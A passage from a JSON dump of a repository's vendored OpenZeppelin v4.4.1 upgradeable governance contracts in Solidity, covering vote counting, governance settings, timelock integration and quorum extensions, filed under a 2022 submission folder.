       details.againstVotes += weight;\n        } else if (support == uint8(VoteType.For)) {\n            details.forVotes += weight;\n        } else if (support == uint8(VoteType.Abstain)) {\n            details.abstainVotes += weight;\n        } else {\n            revert(\"GovernorCompatibilityBravo: invalid vote type\");\n        }\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/compatibility/IGovernorCompatibilityBravoUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/compatibility/IGovernorCompatibilityBravo.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IGovernorUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface extension that adds missing functions to the {Governor} core to provide `GovernorBravo` compatibility.\n *\n * _Available since v4.3._\n */\nabstract contract IGovernorCompatibilityBravoUpgradeable is Initializable, IGovernorUpgradeable {\n    function __IGovernorCompatibilityBravo_init() internal onlyInitializing {\n        __IGovernor_init_unchained();\n        __IGovernorCompatibilityBravo_init_unchained();\n    }\n\n    function __IGovernorCompatibilityBravo_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Proposal structure from Compound Governor Bravo. Not actually used by the compatibility layer, as\n     * {{proposal}} returns a very different structure.\n     */\n    struct Proposal {\n        uint256 id;\n        address proposer;\n        uint256 eta;\n        address[] targets;\n        uint256[] values;\n        string[] signatures;\n        bytes[] calldatas;\n        uint256 startBlock;\n        uint256 endBlock;\n        uint256 forVotes;\n        uint256 againstVotes;\n        uint256 abstainVotes;\n        bool canceled;\n        bool executed;\n        mapping(address => Receipt) receipts;\n    }\n\n    /**\n     * @dev Receipt structure from Compound Governor Bravo\n     */\n    struct Receipt {\n        bool hasVoted;\n        uint8 support;\n        uint96 votes;\n    }\n\n    /**\n     * @dev Part of the Governor Bravo's interface.\n     */\n    function quorumVotes() public view virtual returns (uint256);\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"The official record of all proposals ever proposed\"_.\n     */\n    function proposals(uint256)\n        public\n        view\n        virtual\n        returns (\n            uint256 id,\n            address proposer,\n            uint256 eta,\n            uint256 startBlock,\n            uint256 endBlock,\n            uint256 forVotes,\n            uint256 againstVotes,\n            uint256 abstainVotes,\n            bool canceled,\n            bool executed\n        );\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Function used to propose a new proposal\"_.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        string[] memory signatures,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual returns (uint256);\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Queues a proposal of state succeeded\"_.\n     */\n    function queue(uint256 proposalId) public virtual;\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Executes a queued proposal if eta has passed\"_.\n     */\n    function execute(uint256 proposalId) public payable virtual;\n\n    /**\n     * @dev Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold.\n     */\n    function cancel(uint256 proposalId) public virtual;\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Gets actions of a proposal\"_.\n     */\n    function getActions(uint256 proposalId)\n        public\n        view\n        virtual\n        returns (\n            address[] memory targets,\n            uint256[] memory values,\n            string[] memory signatures,\n            bytes[] memory calldatas\n        );\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"Gets the receipt for a voter on a given proposal\"_.\n     */\n    function getReceipt(uint256 proposalId, address voter) public view virtual returns (Receipt memory);\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorCountingSimpleUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorCountingSimple.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../GovernorUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {Governor} for simple, 3 options, vote counting.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorCountingSimpleUpgradeable is Initializable, GovernorUpgradeable {\n    function __GovernorCountingSimple_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __GovernorCountingSimple_init_unchained();\n    }\n\n    function __GovernorCountingSimple_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Supported vote types. Matches Governor Bravo ordering.\n     */\n    enum VoteType {\n        Against,\n        For,\n        Abstain\n    }\n\n    struct ProposalVote {\n        uint256 againstVotes;\n        uint256 forVotes;\n        uint256 abstainVotes;\n        mapping(address => bool) hasVoted;\n    }\n\n    mapping(uint256 => ProposalVote) private _proposalVotes;\n\n    /**\n     * @dev See {IGovernor-COUNTING_MODE}.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function COUNTING_MODE() public pure virtual override returns (string memory) {\n        return \"support=bravo&quorum=for,abstain\";\n    }\n\n    /**\n     * @dev See {IGovernor-hasVoted}.\n     */\n    function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {\n        return _proposalVotes[proposalId].hasVoted[account];\n    }\n\n    /**\n     * @dev Accessor to the internal vote counts.\n     */\n    function proposalVotes(uint256 proposalId)\n        public\n        view\n        virtual\n        returns (\n            uint256 againstVotes,\n            uint256 forVotes,\n            uint256 abstainVotes\n        )\n    {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n        return (proposalvote.againstVotes, proposalvote.forVotes, proposalvote.abstainVotes);\n    }\n\n    /**\n     * @dev See {Governor-_quorumReached}.\n     */\n    function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n\n        return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes;\n    }\n\n    /**\n     * @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be strictly over the againstVotes.\n     */\n    function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n\n        return proposalvote.forVotes > proposalvote.againstVotes;\n    }\n\n    /**\n     * @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).\n     */\n    function _countVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        uint256 weight\n    ) internal virtual override {\n        ProposalVote storage proposalvote = _proposalVotes[proposalId];\n\n        require(!proposalvote.hasVoted[account], \"GovernorVotingSimple: vote already cast\");\n        proposalvote.hasVoted[account] = true;\n\n        if (support == uint8(VoteType.Against)) {\n            proposalvote.againstVotes += weight;\n        } else if (support == uint8(VoteType.For)) {\n            proposalvote.forVotes += weight;\n        } else if (support == uint8(VoteType.Abstain)) {\n            proposalvote.abstainVotes += weight;\n        } else {\n            revert(\"GovernorVotingSimple: invalid value for enum VoteType\");\n        }\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorProposalThresholdUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorProposalThreshold.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../GovernorUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {Governor} for proposal restriction to token holders with a minimum balance.\n *\n * _Available since v4.3._\n * _Deprecated since v4.4._\n */\nabstract contract GovernorProposalThresholdUpgradeable is Initializable, GovernorUpgradeable {\n    function __GovernorProposalThreshold_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __GovernorProposalThreshold_init_unchained();\n    }\n\n    function __GovernorProposalThreshold_init_unchained() internal onlyInitializing {\n    }\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorSettingsUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorSettings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../GovernorUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {Governor} for settings updatable through governance.\n *\n * _Available since v4.4._\n */\nabstract contract GovernorSettingsUpgradeable is Initializable, GovernorUpgradeable {\n    uint256 private _votingDelay;\n    uint256 private _votingPeriod;\n    uint256 private _proposalThreshold;\n\n    event VotingDelaySet(uint256 oldVotingDelay, uint256 newVotingDelay);\n    event VotingPeriodSet(uint256 oldVotingPeriod, uint256 newVotingPeriod);\n    event ProposalThresholdSet(uint256 oldProposalThreshold, uint256 newProposalThreshold);\n\n    /**\n     * @dev Initialize the governance parameters.\n     */\n    function __GovernorSettings_init(\n        uint256 initialVotingDelay,\n        uint256 initialVotingPeriod,\n        uint256 initialProposalThreshold\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __GovernorSettings_init_unchained(initialVotingDelay, initialVotingPeriod, initialProposalThreshold);\n    }\n\n    function __GovernorSettings_init_unchained(\n        uint256 initialVotingDelay,\n        uint256 initialVotingPeriod,\n        uint256 initialProposalThreshold\n    ) internal onlyInitializing {\n        _setVotingDelay(initialVotingDelay);\n        _setVotingPeriod(initialVotingPeriod);\n        _setProposalThreshold(initialProposalThreshold);\n    }\n\n    /**\n     * @dev See {IGovernor-votingDelay}.\n     */\n    function votingDelay() public view virtual override returns (uint256) {\n        return _votingDelay;\n    }\n\n    /**\n     * @dev See {IGovernor-votingPeriod}.\n     */\n    function votingPeriod() public view virtual override returns (uint256) {\n        return _votingPeriod;\n    }\n\n    /**\n     * @dev See {Governor-proposalThreshold}.\n     */\n    function proposalThreshold() public view virtual override returns (uint256) {\n        return _proposalThreshold;\n    }\n\n    /**\n     * @dev Update the voting delay. This operation can only be performed through a governance proposal.\n     *\n     * Emits a {VotingDelaySet} event.\n     */\n    function setVotingDelay(uint256 newVotingDelay) public virtual onlyGovernance {\n        _setVotingDelay(newVotingDelay);\n    }\n\n    /**\n     * @dev Update the voting period. This operation can only be performed through a governance proposal.\n     *\n     * Emits a {VotingPeriodSet} event.\n     */\n    function setVotingPeriod(uint256 newVotingPeriod) public virtual onlyGovernance {\n        _setVotingPeriod(newVotingPeriod);\n    }\n\n    /**\n     * @dev Update the proposal threshold. This operation can only be performed through a governance proposal.\n     *\n     * Emits a {ProposalThresholdSet} event.\n     */\n    function setProposalThreshold(uint256 newProposalThreshold) public virtual onlyGovernance {\n        _setProposalThreshold(newProposalThreshold);\n    }\n\n    /**\n     * @dev Internal setter for the voting delay.\n     *\n     * Emits a {VotingDelaySet} event.\n     */\n    function _setVotingDelay(uint256 newVotingDelay) internal virtual {\n        emit VotingDelaySet(_votingDelay, newVotingDelay);\n        _votingDelay = newVotingDelay;\n    }\n\n    /**\n     * @dev Internal setter for the voting period.\n     *\n     * Emits a {VotingPeriodSet} event.\n     */\n    function _setVotingPeriod(uint256 newVotingPeriod) internal virtual {\n        // voting period must be at least one block long\n        require(newVotingPeriod > 0, \"GovernorSettings: voting period too low\");\n        emit VotingPeriodSet(_votingPeriod, newVotingPeriod);\n        _votingPeriod = newVotingPeriod;\n    }\n\n    /**\n     * @dev Internal setter for the proposal threshold.\n     *\n     * Emits a {ProposalThresholdSet} event.\n     */\n    function _setProposalThreshold(uint256 newProposalThreshold) internal virtual {\n        emit ProposalThresholdSet(_proposalThreshold, newProposalThreshold);\n        _proposalThreshold = newProposalThreshold;\n    }\n    uint256[47] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorTimelockCompoundUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockCompound.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IGovernorTimelockUpgradeable.sol\";\nimport \"../GovernorUpgradeable.sol\";\nimport \"../../utils/math/SafeCastUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[Compound's timelock] interface\n */\ninterface ICompoundTimelockUpgradeable {\n    receive() external payable;\n\n    // solhint-disable-next-line func-name-mixedcase\n    function GRACE_PERIOD() external view returns (uint256);\n\n    // solhint-disable-next-line func-name-mixedcase\n    function MINIMUM_DELAY() external view returns (uint256);\n\n    // solhint-disable-next-line func-name-mixedcase\n    function MAXIMUM_DELAY() external view returns (uint256);\n\n    function admin() external view returns (address);\n\n    function pendingAdmin() external view returns (address);\n\n    function delay() external view returns (uint256);\n\n    function queuedTransactions(bytes32) external view returns (bool);\n\n    function setDelay(uint256) external;\n\n    function acceptAdmin() external;\n\n    function setPendingAdmin(address) external;\n\n    function queueTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) external returns (bytes32);\n\n    function cancelTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) external;\n\n    function executeTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) external payable returns (bytes memory);\n}\n\n/**\n * @dev Extension of {Governor} that binds the execution process to a Compound Timelock. This adds a delay, enforced by\n * the external timelock to all successful proposal (in addition to the voting duration). The {Governor} needs to be\n * the admin of the timelock for any operation to be performed. A public, unrestricted,\n * {GovernorTimelockCompound-__acceptAdmin} is available to accept ownership of the timelock.\n *\n * Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,\n * the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be\n * inaccessible.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorTimelockCompoundUpgradeable is Initializable, IGovernorTimelockUpgradeable, GovernorUpgradeable {\n    using SafeCastUpgradeable for uint256;\n    using TimersUpgradeable for TimersUpgradeable.Timestamp;\n\n    struct ProposalTimelock {\n        TimersUpgradeable.Timestamp timer;\n    }\n\n    ICompoundTimelockUpgradeable private _timelock;\n\n    mapping(uint256 => ProposalTimelock) private _proposalTimelocks;\n\n    /**\n     * @dev Emitted when the timelock controller used for proposal execution is modified.\n     */\n    event TimelockChange(address oldTimelock, address newTimelock);\n\n    /**\n     * @dev Set the timelock.\n     */\n    function __GovernorTimelockCompound_init(ICompoundTimelockUpgradeable timelockAddress) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __GovernorTimelockCompound_init_unchained(timelockAddress);\n    }\n\n    function __GovernorTimelockCompound_init_unchained(ICompoundTimelockUpgradeable timelockAddress) internal onlyInitializing {\n        _updateTimelock(timelockAddress);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, GovernorUpgradeable) returns (bool) {\n        return interfaceId == type(IGovernorTimelockUpgradeable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-state} function with added support for the `Queued` and `Expired` status.\n     */\n    function state(uint256 proposalId) public view virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (ProposalState) {\n        ProposalState status = super.state(proposalId);\n\n        if (status != ProposalState.Succeeded) {\n            return status;\n        }\n\n        uint256 eta = proposalEta(proposalId);\n        if (eta == 0) {\n            return status;\n        } else if (block.timestamp >= eta + _timelock.GRACE_PERIOD()) {\n            return ProposalState.Expired;\n        } else {\n            return ProposalState.Queued;\n        }\n    }\n\n    /**\n     * @dev Public accessor to check the address of the timelock\n     */\n    function timelock() public view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Public accessor to check the eta of a queued proposal\n     */\n    function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {\n        return _proposalTimelocks[proposalId].timer.getDeadline();\n    }\n\n    /**\n     * @dev Function to queue a proposal to the timelock.\n     */\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public virtual override returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n\n        require(state(proposalId) == ProposalState.Succeeded, \"Governor: proposal not successful\");\n\n        uint256 eta = block.timestamp + _timelock.delay();\n        _proposalTimelocks[proposalId].timer.setDeadline(eta.toUint64());\n        for (uint256 i = 0; i < targets.length; ++i) {\n            require(\n                !_timelock.queuedTransactions(keccak256(abi.encode(targets[i], values[i], \"\", calldatas[i], eta))),\n                \"GovernorTimelockCompound: identical proposal action already queued\"\n            );\n            _timelock.queueTransaction(targets[i], values[i], \"\", calldatas[i], eta);\n        }\n\n        emit ProposalQueued(proposalId, eta);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Overriden execute function that run the already queued proposal through the timelock.\n     */\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 /*descriptionHash*/\n    ) internal virtual override {\n        uint256 eta = proposalEta(proposalId);\n        require(eta > 0, \"GovernorTimelockCompound: proposal not yet queued\");\n        AddressUpgradeable.sendValue(payable(_timelock), msg.value);\n        for (uint256 i = 0; i < targets.length; ++i) {\n            _timelock.executeTransaction(targets[i], values[i], \"\", calldatas[i], eta);\n        }\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already\n     * been queued.\n     */\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override returns (uint256) {\n        uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);\n\n        uint256 eta = proposalEta(proposalId);\n        if (eta > 0) {\n            for (uint256 i = 0; i < targets.length; ++i) {\n                _timelock.cancelTransaction(targets[i], values[i], \"\", calldatas[i], eta);\n            }\n            _proposalTimelocks[proposalId].timer.reset();\n        }\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Address through which the governor executes action. In this case, the timelock.\n     */\n    function _executor() internal view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Accept admin right over the timelock.\n     */\n    // solhint-disable-next-line private-vars-leading-underscore\n    function __acceptAdmin() public {\n        _timelock.acceptAdmin();\n    }\n\n    /**\n     * @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates\n     * must be proposed, scheduled and executed using the {Governor} workflow.\n     *\n     * For security reason, the timelock must be handed over to another admin before setting up a new one. The two\n     * operations (hand over the timelock) and do the update can be batched in a single proposal.\n     *\n     * Note that if the timelock admin has been handed over in a previous operation, we refuse updates made through the\n     * timelock if admin of the timelock has already been accepted and the operation is executed outside the scope of\n     * governance.\n     */\n    function updateTimelock(ICompoundTimelockUpgradeable newTimelock) external virtual onlyGovernance {\n        _updateTimelock(newTimelock);\n    }\n\n    function _updateTimelock(ICompoundTimelockUpgradeable newTimelock) private {\n        emit TimelockChange(address(_timelock), address(newTimelock));\n        _timelock = newTimelock;\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorTimelockControlUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockControl.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IGovernorTimelockUpgradeable.sol\";\nimport \"../GovernorUpgradeable.sol\";\nimport \"../TimelockControllerUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {Governor} that binds the execution process to an instance of {TimelockController}. This adds a\n * delay, enforced by the {TimelockController} to all successful proposal (in addition to the voting duration). The\n * {Governor} needs the proposer (an ideally the executor) roles for the {Governor} to work properly.\n *\n * Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,\n * the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be\n * inaccessible.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorTimelockControlUpgradeable is Initializable, IGovernorTimelockUpgradeable, GovernorUpgradeable {\n    TimelockControllerUpgradeable private _timelock;\n    mapping(uint256 => bytes32) private _timelockIds;\n\n    /**\n     * @dev Emitted when the timelock controller used for proposal execution is modified.\n     */\n    event TimelockChange(address oldTimelock, address newTimelock);\n\n    /**\n     * @dev Set the timelock.\n     */\n    function __GovernorTimelockControl_init(TimelockControllerUpgradeable timelockAddress) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __IGovernorTimelock_init_unchained();\n        __GovernorTimelockControl_init_unchained(timelockAddress);\n    }\n\n    function __GovernorTimelockControl_init_unchained(TimelockControllerUpgradeable timelockAddress) internal onlyInitializing {\n        _updateTimelock(timelockAddress);\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, GovernorUpgradeable) returns (bool) {\n        return interfaceId == type(IGovernorTimelockUpgradeable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-state} function with added support for the `Queued` status.\n     */\n    function state(uint256 proposalId) public view virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (ProposalState) {\n        ProposalState status = super.state(proposalId);\n\n        if (status != ProposalState.Succeeded) {\n            return status;\n        }\n\n        // core tracks execution, so we just have to check if successful proposal have been queued.\n        bytes32 queueid = _timelockIds[proposalId];\n        if (queueid == bytes32(0)) {\n            return status;\n        } else if (_timelock.isOperationDone(queueid)) {\n            return ProposalState.Executed;\n        } else {\n            return ProposalState.Queued;\n        }\n    }\n\n    /**\n     * @dev Public accessor to check the address of the timelock\n     */\n    function timelock() public view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Public accessor to check the eta of a queued proposal\n     */\n    function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {\n        uint256 eta = _timelock.getTimestamp(_timelockIds[proposalId]);\n        return eta == 1 ? 0 : eta; // _DONE_TIMESTAMP (1) should be replaced with a 0 value\n    }\n\n    /**\n     * @dev Function to queue a proposal to the timelock.\n     */\n    function queue(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public virtual override returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n\n        require(state(proposalId) == ProposalState.Succeeded, \"Governor: proposal not successful\");\n\n        uint256 delay = _timelock.getMinDelay();\n        _timelockIds[proposalId] = _timelock.hashOperationBatch(targets, values, calldatas, 0, descriptionHash);\n        _timelock.scheduleBatch(targets, values, calldatas, 0, descriptionHash, delay);\n\n        emit ProposalQueued(proposalId, block.timestamp + delay);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Overriden execute function that run the already queued proposal through the timelock.\n     */\n    function _execute(\n        uint256, /* proposalId */\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override {\n        _timelock.executeBatch{value: msg.value}(targets, values, calldatas, 0, descriptionHash);\n    }\n\n    /**\n     * @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already\n     * been queued.\n     */\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual override returns (uint256) {\n        uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);\n\n        if (_timelockIds[proposalId] != 0) {\n            _timelock.cancel(_timelockIds[proposalId]);\n            delete _timelockIds[proposalId];\n        }\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Address through which the governor executes action. In this case, the timelock.\n     */\n    function _executor() internal view virtual override returns (address) {\n        return address(_timelock);\n    }\n\n    /**\n     * @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates\n     * must be proposed, scheduled and executed using the {Governor} workflow.\n     */\n    function updateTimelock(TimelockControllerUpgradeable newTimelock) external virtual onlyGovernance {\n        _updateTimelock(newTimelock);\n    }\n\n    function _updateTimelock(TimelockControllerUpgradeable newTimelock) private {\n        emit TimelockChange(address(_timelock), address(newTimelock));\n        _timelock = newTimelock;\n    }\n    uint256[48] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorVotesCompUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesComp.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../GovernorUpgradeable.sol\";\nimport \"../../token/ERC20/extensions/ERC20VotesCompUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {Governor} for voting weight extraction from a Comp token.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorVotesCompUpgradeable is Initializable, GovernorUpgradeable {\n    ERC20VotesCompUpgradeable public token;\n\n    function __GovernorVotesComp_init(ERC20VotesCompUpgradeable token_) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __GovernorVotesComp_init_unchained(token_);\n    }\n\n    function __GovernorVotesComp_init_unchained(ERC20VotesCompUpgradeable token_) internal onlyInitializing {\n        token = token_;\n    }\n\n    /**\n     * Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).\n     */\n    function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {\n        return token.getPriorVotes(account, blockNumber);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorVotesQuorumFractionUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesQuorumFraction.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./GovernorVotesUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token and a quorum expressed as a\n * fraction of the total supply.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorVotesQuorumFractionUpgradeable is Initializable, GovernorVotesUpgradeable {\n    uint256 private _quorumNumerator;\n\n    event QuorumNumeratorUpdated(uint256 oldQuorumNumerator, uint256 newQuorumNumerator);\n\n    function __GovernorVotesQuorumFraction_init(uint256 quorumNumeratorValue) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __GovernorVotesQuorumFraction_init_unchained(quorumNumeratorValue);\n    }\n\n    function __GovernorVotesQuorumFraction_init_unchained(uint256 quorumNumeratorValue) internal onlyInitializing {\n        _updateQuorumNumerator(quorumNumeratorValue);\n    }\n\n    function quorumNumerator() public view virtual returns (uint256) {\n        return _quorumNumerator;\n    }\n\n    function quorumDenominator() public view virtual returns (uint256) {\n        return 100;\n    }\n\n    function quorum(uint256 blockNumber) public view virtual override returns (uint256) {\n        return (token.getPastTotalSupply(blockNumber) * quorumNumerator()) / quorumDenominator();\n    }\n\n    function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual onlyGovernance {\n        _updateQuorumNumerator(newQuorumNumerator);\n    }\n\n    function _updateQuorumNumerator(uint256 newQuorumNumerator) internal virtual {\n        require(\n            newQuorumNumerator <= quorumDenominator(),\n            \"GovernorVotesQuorumFraction: quorumNumerator over quorumDenominator\"\n        );\n\n        uint256 oldQuorumNumerator = _quorumNumerator;\n        _quorumNumerator = newQuorumNumerator;\n\n        emit QuorumNumeratorUpdated(oldQuorumNumerator, newQuorumNumerator);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/governance/extensions/GovernorVotesUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotes.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../GovernorUpgradeable.sol\";\nimport \"../../token/ERC20/extensions/ERC20VotesUpgradeable.sol\";\nimport \"../../utils/math/MathUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorVotesUpgradeable is Initializable, GovernorUpgradeable {\n    ERC20VotesUpgradeable public token;\n\n    function __GovernorVotes_init(ERC20VotesUpgradeable tokenAddress) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __IGovernor_init_unchained();\n        __GovernorVotes_init_unchained(tokenAddress);\n    }\n\n    function __GovernorVotes_init_unchained(ERC20VotesUpgradeable tokenAddress) internal onlyInitializing {\n        token = tokenAddress;\n    }\n\n    /**\n     * Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).\n     */\n    function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {\n        return 